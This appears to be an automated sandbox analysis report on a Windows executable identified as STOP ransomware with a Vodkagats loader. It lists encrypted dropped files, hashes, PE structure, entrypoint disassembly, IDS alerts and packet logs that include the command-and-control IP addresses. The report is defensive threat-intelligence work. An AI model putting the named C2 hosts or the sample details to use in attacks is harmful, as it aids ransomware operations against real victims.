Preview:	{.".T....:..0..nk.ui....;.];.8z<7...r.h$^....5.`.a..o0...5q..C.@.o..O5..M.."..9.......o...4&L...O3.....,.e.iV..IE3.}.....ag..z.h.<.&a!!.......`......I.;k....J.\Q.....Ax.....M..M...Y..x;+``:.2...{K.]O\.:.{..v.D`..Ff...p...Hm......@..t..2K..x..\.6-.Eh.#2.zu.....b..S^.....u..".'.T..........^.v..f...l....t..VJ[....ln.J.Fd...W.$S.N6.t..6.b.......B.^.1^\...S(<.H....M.I........J.u......j..[..2..j..m...pvy)..(.&.!........>(...W@....U...K....)r..DB.{=V..e..H.?b\...P[.....{.Z...?,#..).G.eb!.U..#......X...#t....d'q\|H.k... .....\|..W0...w..b.~..#.w4.r..R........._a'W..I.z..:.=..._R.Ba.........KlJ...y.e.B.J........w......y..H.I..l.Rv......._......S...c>.5..)cm.R.`v...>.w.B..:}.E5.%.&......T.._..M..&=....bn^"%Y........n.$..'....uh..$. Tb.....".+./......p...wB....l...(}HB%y...?YfU..\4rIu.2....E?..c.K8.. ...%-s....2.../.l.....n.8gU.P.~,_R4w.p.......W....m.[S{.F?...O..<.7..O?...M.`..($d^7..\|..o...\H=T-.y.[........>./.9[...;...Z.r....P.H....XnQ..y

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.991393473989088
Encrypted:	true
SSDEEP:	384:8sSZ1mZBRec70KyY8500ziYbBUAb9KyTsqNKUMaXj1wIKmnpCmvNapQ8PQVGegc2:IZs0KyYgB3syTsqNfTmI/OPgSHX
MD5:	ED51C74F7CA756CAA2E77D1588056ECC
SHA1:	55EDE80D6167DF6D33555EBE36B6E972D826C864
SHA-256:	DFF4AC584E9528F533139494C7C0413FE15ABDE31E693672D394900109FF7842
SHA-512:	94F33D0F9032A979F0E0A6FF4E7A78A83B6A174A2EF9E902C0FD53B8AF4435449F17743ED83928744816C436FE95B652AC6DF0C40AF88C9D139B56039C9C64D8
Malicious:	true
Preview:	.....oa..5..p..2`....)u...G.w.GF...N....8.....v[.......o....v...oS.V.e'.X.We.0.z.......a..Z...S........<.-n........\.bR{......E.o.._.j.O.Y[c.)m..{.W)L.H..O....\...R.C..-..4..!....'....n...I;.0...^l..eG.......}._U&..B.bu[.6C.M,..h..sk9..<..3.A..H0.}.....+...I.&..^.63..e.R.4V.U.ge.\|..2..E.......lP....L....B.j..^..-T{J.X......7 .P...[D..\eSu...g....>...A..'+......\]%.E.?..dwfH....<1..$.....O..I....._.=..7.b..0\|....j0.>......9..o.#.n..n..V..,R.......'..(.lo.....uO...Y..x..MC.b.l...:.9...O..Ml..]...........,.....[...4.\|;=^..$g....:#....* .....`.)..h.../g._.\^.9-.u8.$.........s..OS......Kg..m[........EV.R..[bs...;....,.Y<7...Mu....s..-U........(.2.#Jy.dP..trGm.f...C2.......e....D.@...x.._....\|K..DS.....&...Vg,a.0@.}........,.U..t&.1..s.<.$,.v'.Vd.=.Qdz6#,0...=...........Ya>..s...<.\|....X........L.P../...o.qs .{U. ..E...%X....M.!.Q..`O...H.o....jmfb[..o[.v..W.L..\|3@.&A.O...DT..;..6.z...../XU...........4..<.a.@..]...X....kwk2.......li[....

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.991982640907029
Encrypted:	true
SSDEEP:	384:MuGFErLi/E3LMRM8c3p1z4KxLiVQVP92Mc6k3+TvrRDubNs7Qev/Z:TrLi/qLMRM8cZb1cAVDCs7Rv/Z
MD5:	49C75F74E45ACFB4CB6CDF012FB966C2
SHA1:	8BF7F8160E3B81305815CF79C25C15912633639F
SHA-256:	0EBC8C7C1BEE380E2EABFD8B5B46D116174FEBEA90C28A3FE97A526E741AB857
SHA-512:	F39CECC5EE1E733D0E54710B80230C8A53E1B0CC30B2A8098FFAB2F6D7FAC0B180DEAD64C3D12C0B514A6B4C5522FB98305116C8BB1A5064BFE1D484265BCC33
Malicious:	true
Preview:	05-10.`........O.L_.".u.,..T_SLzE}....J.R.fm..)..@..M.Q....q....7.....L5.F.6k.n.Q.#k.7.Gzk]7`......@....@..2..T.....K70/j....HR.4a....3.~c,.b..~\.3.-X..]..@.......e..\|J.#.m.......V;....o.L....u...CF....b..z..$..=.d.]=I.........%...M..^v.&...B.~$iC..Ur.^....o..A..o+...........]C..C.R%..Y..<B@..(.."......-."'.L.V.N..l[.[..(..).e.k..F..D..."4...^(.X...8.-t.+.-....w.........,s.!.]&&.\|...w\|....F.....at...UM~w....).ZY........D.Y_F..(..!B...]2.c.....)].8.T<..r.H J.\|.<;V.0...?Kv.k...,xj\|.s.....z.hoQiC...y..q.:.>N......s..Q.3{..b......./....L1L.(..:>..O.b.O..N.DF...R..H.IU.fK.~..G..!.v.....&(v4.o.g.9.....Hv....r...f...L..x9S.A.d{s....b.).;....T.[O#w..o....).....5'.....,}..a[vGzh$z......>...r.F....>&.!...p...8JB.]K.-.....NJ....I..-%...:.W.y...^..FRi.)..... _fHi..Uq....qU_."[G....!p...C..t7S.......(...@L.Q.!...;)On.....a...t..Y..=k..C.F....!(^..I......@ML.N...B..S.c.+53.P.\vE~....y=.v.{....3..j.-.<...9p.s\..t~..t;.H........x.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.84997937294867
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	g0Zq7nJjus.exe
File size:	704'512 bytes
MD5:	cd2a2421b83821c6c98e6d0bd346d7bd
SHA1:	0723c84c1e70a010e60b623526d146a469a69420
SHA256:	9dfb6b41c90732c9206ef6f65a941b1061126ead69e3715d79519196dad5899c
SHA512:	f054710a96054db19b87511431b0868ceb824f94b8fd5e74a24298013c08d056b5bdeb56b4bc2baad3f4f343bea2bde82fe9a3de2a5698778edfcccf7f97c58f
SSDEEP:	12288:DFaV1oBGxcJ7Mj8G25d970Ecg3zgb5pzisLx+uGwE9EzX7:8VWBxC8rJ3zgbesLxrPyE
TLSH:	52E4122171E089FBC65785F1449188A4A63FB4E367B54EC7239553FE1E207C2AE3A353
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L.....yd...................

File Icon


Icon Hash:	7159410949525453

Static PE Info

General

Entrypoint:	0x403e50
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x647999CC [Fri Jun 2 07:27:08 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	485e4d25637625cac5bb7e098eb97542

Entrypoint Preview

Instruction
call 00007FBA24EEF8DCh
jmp 00007FBA24EEB4FEh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword ptr [008C5668h]
call 00007FBA24EECFD5h
push dword ptr [008C5664h]
mov edi, eax
mov dword ptr [ebp-04h], edi
call 00007FBA24EECFC5h
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jc 00007FBA24EEB709h
mov ebx, esi
sub ebx, edi
lea eax, dword ptr [ebx+04h]
cmp eax, 04h
jc 00007FBA24EEB6F9h
push edi
call 00007FBA24EEFA0Ah
mov edi, eax
lea eax, dword ptr [ebx+04h]
pop ecx
cmp edi, eax
jnc 00007FBA24EEB6CAh
mov eax, 00000800h
cmp edi, eax
jnc 00007FBA24EEB684h
mov eax, edi
add eax, edi
cmp eax, edi
jc 00007FBA24EEB691h
push eax
push dword ptr [ebp-04h]
call 00007FBA24EEF998h
pop ecx
pop ecx
test eax, eax
jne 00007FBA24EEB698h
lea eax, dword ptr [edi+10h]
cmp eax, edi
jc 00007FBA24EEB6C2h
push eax
push dword ptr [ebp-04h]
call 00007FBA24EEF982h
pop ecx
pop ecx
test eax, eax
je 00007FBA24EEB6B3h
sar ebx, 02h
push eax
lea esi, dword ptr [eax+ebx*4]
call 00007FBA24EECEE0h
pop ecx
mov dword ptr [008C5668h], eax
push dword ptr [ebp+08h]
call 00007FBA24EECED2h
mov dword ptr [esi], eax
add esi, 04h
push esi
call 00007FBA24EECEC7h
pop ecx
mov dword ptr [008C5664h], eax
mov eax, dword ptr [ebp+08h]
pop ecx
jmp 00007FBA24EEB684h
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, edi
push esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa39e8	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4c6000	0x7df8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa11e0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa2d78	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa1000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9f062	0x9f200	False	0.9552192777886881	data	7.940785494182081	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xa1000	0x3328	0x3400	False	0.3654597355769231	data	5.277274585016995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa5000	0x42067c	0x1800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4c6000	0x7df8	0x7e00	False	0.48084077380952384	data	4.781977618185089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4c63c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Spanish	Paraguay	0.43176972281449894
RT_ICON	0x4c7268	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Spanish	Paraguay	0.5514440433212996
RT_ICON	0x4c7b10	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Spanish	Paraguay	0.5806451612903226
RT_ICON	0x4c81d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Spanish	Paraguay	0.5982658959537572
RT_ICON	0x4c8740	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Spanish	Paraguay	0.44450207468879666
RT_ICON	0x4cace8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Spanish	Paraguay	0.4896810506566604
RT_ICON	0x4cbd90	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Spanish	Paraguay	0.524822695035461
RT_STRING	0x4cc470	0x42a	data	Spanish	Paraguay	0.4540337711069418
RT_STRING	0x4cc8a0	0x340	data	Spanish	Paraguay	0.47836538461538464
RT_STRING	0x4ccbe0	0x4b8	data	Spanish	Paraguay	0.445364238410596
RT_STRING	0x4cd098	0x45c	data	Spanish	Paraguay	0.45698924731182794
RT_STRING	0x4cd4f8	0x402	data	Spanish	Paraguay	0.4756335282651072
RT_STRING	0x4cd900	0x4f6	data	Spanish	Paraguay	0.4440944881889764
RT_ACCELERATOR	0x4cc260	0x40	data	Spanish	Paraguay	0.890625
RT_ACCELERATOR	0x4cc2a0	0x30	data	Spanish	Paraguay	0.9583333333333334
RT_GROUP_ICON	0x4cc1f8	0x68	data	Spanish	Paraguay	0.6826923076923077
RT_VERSION	0x4cc2d0	0x19c	data			0.5752427184466019

Imports

DLL	Import
KERNEL32.dll	GetStringTypeA, LoadResource, UpdateResourceA, CreateJobObjectW, SetComputerNameW, GetComputerNameW, CreateHardLinkA, GetWindowsDirectoryA, GlobalFindAtomA, LoadLibraryW, GetConsoleMode, GetSystemWindowsDirectoryA, GetVersionExW, DnsHostnameToComputerNameW, WriteConsoleW, EnumResourceLanguagesA, CreateFileW, GetVolumePathNameA, InterlockedExchange, GetLastError, GetConsoleAliasesLengthW, BackupRead, GetProcAddress, VirtualAlloc, BeginUpdateResourceW, RemoveDirectoryA, OpenMutexA, InterlockedExchangeAdd, LocalAlloc, FindFirstVolumeMountPointW, AddAtomW, GetCommMask, GetModuleHandleA, FindFirstChangeNotificationA, GetCurrentProcessId, OpenFileMappingA, SuspendThread, lstrcpyA, SetLastError, HeapCompact, InterlockedIncrement, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, RaiseException, RtlUnwind, HeapFree, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, HeapAlloc, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, HeapSize, HeapReAlloc, GetLocaleInfoA, MultiByteToWideChar, GetStringTypeW, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA, WideCharToMultiByte, LCMapStringW
USER32.dll	CharLowerBuffA
GDI32.dll	GetDeviceGammaRamp
ole32.dll	CoGetPSClsid

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Paraguay

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6196.188.169.13849722802833438 01/11/24-13:45:06.856358	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49722	80	192.168.2.6	196.188.169.138
192.168.2.695.86.30.349714802036333 01/11/24-13:45:00.871218	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49714	80	192.168.2.6	95.86.30.3
192.168.2.6196.188.169.13849717802036333 01/11/24-13:45:04.064267	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49717	80	192.168.2.6	196.188.169.138
192.168.2.6196.188.169.13849717802020826 01/11/24-13:45:04.064267	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49717	80	192.168.2.6	196.188.169.138
192.168.2.6196.188.169.13849716802833438 01/11/24-13:45:01.366168	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49716	80	192.168.2.6	196.188.169.138
192.168.2.6196.188.169.13849734802833438 01/11/24-13:45:12.636900	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49734	80	192.168.2.6	196.188.169.138
192.168.2.695.86.30.349714802020826 01/11/24-13:45:00.871218	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49714	80	192.168.2.6	95.86.30.3
192.168.2.6196.188.169.13849741802833438 01/11/24-13:45:18.172716	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49741	80	192.168.2.6	196.188.169.138

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2024 13:44:53.942450047 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:53.942508936 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:53.942581892 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:53.962694883 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:53.962723017 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.167871952 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.167943954 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.385221958 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.385255098 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.385617971 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.385684013 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.390029907 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.433907986 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.986290932 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.986377954 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.986399889 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.986414909 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:54.986449003 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.986474991 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.989077091 CET	49710	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:54.989093065 CET	443	49710	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:55.873851061 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:55.873895884 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:55.873990059 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:55.883785009 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:55.883804083 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.086935997 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.087023020 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.093280077 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.093291998 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.093594074 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.094121933 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.096199036 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.137916088 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.583781004 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.583848953 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.583877087 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.583895922 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:56.583942890 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.584506989 CET	49711	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:56.584523916 CET	443	49711	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:57.700315952 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.700361013 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:57.700429916 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.709321976 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.709348917 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:57.909142971 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:57.909248114 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.914747000 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.914761066 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:57.915010929 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:57.915071964 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.917254925 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:57.961904049 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:58.423006058 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:58.423125029 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:58.423141956 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:58.423154116 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:44:58.423198938 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:58.423219919 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:58.423561096 CET	49712	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:44:58.423578978 CET	443	49712	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:00.653347015 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:00.869826078 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:00.870856047 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:00.871217966 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.117568970 CET	49715	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.118952990 CET	49716	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.143202066 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.364168882 CET	80	49715	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:01.365262032 CET	49715	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.365540028 CET	49715	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.365880013 CET	80	49716	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:01.365946054 CET	49716	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.366168022 CET	49716	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.499622107 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.499655008 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.499661922 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.499674082 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.499872923 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.500585079 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.500644922 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.500705957 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.500718117 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.500745058 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.500756979 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.500791073 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.500967026 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.501012087 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.501050949 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.501064062 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.501091003 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.501108885 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.501880884 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.501935005 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.612428904 CET	80	49715	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:01.612478971 CET	80	49716	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:01.612581968 CET	49715	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.612626076 CET	49716	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.613172054 CET	49716	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.613173962 CET	49715	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:01.724673033 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.724720001 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.724821091 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.724863052 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.727958918 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728030920 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728055954 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728068113 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728079081 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728110075 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728131056 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728174925 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728188992 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728214979 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728233099 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728252888 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728266001 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728297949 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728316069 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728353977 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728358030 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728399992 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728425980 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728471994 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728477955 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728521109 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728558064 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728604078 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728699923 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728745937 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728771925 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728812933 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728837013 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728878975 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728923082 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.728971958 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.728993893 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.729036093 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.859349966 CET	80	49715	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:01.859504938 CET	80	49716	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:01.941366911 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.941407919 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.941426992 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.941464901 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.941488028 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.941499949 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.941543102 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.943598032 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.943645954 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.943665028 CET	80	49714	95.86.30.3	192.168.2.6
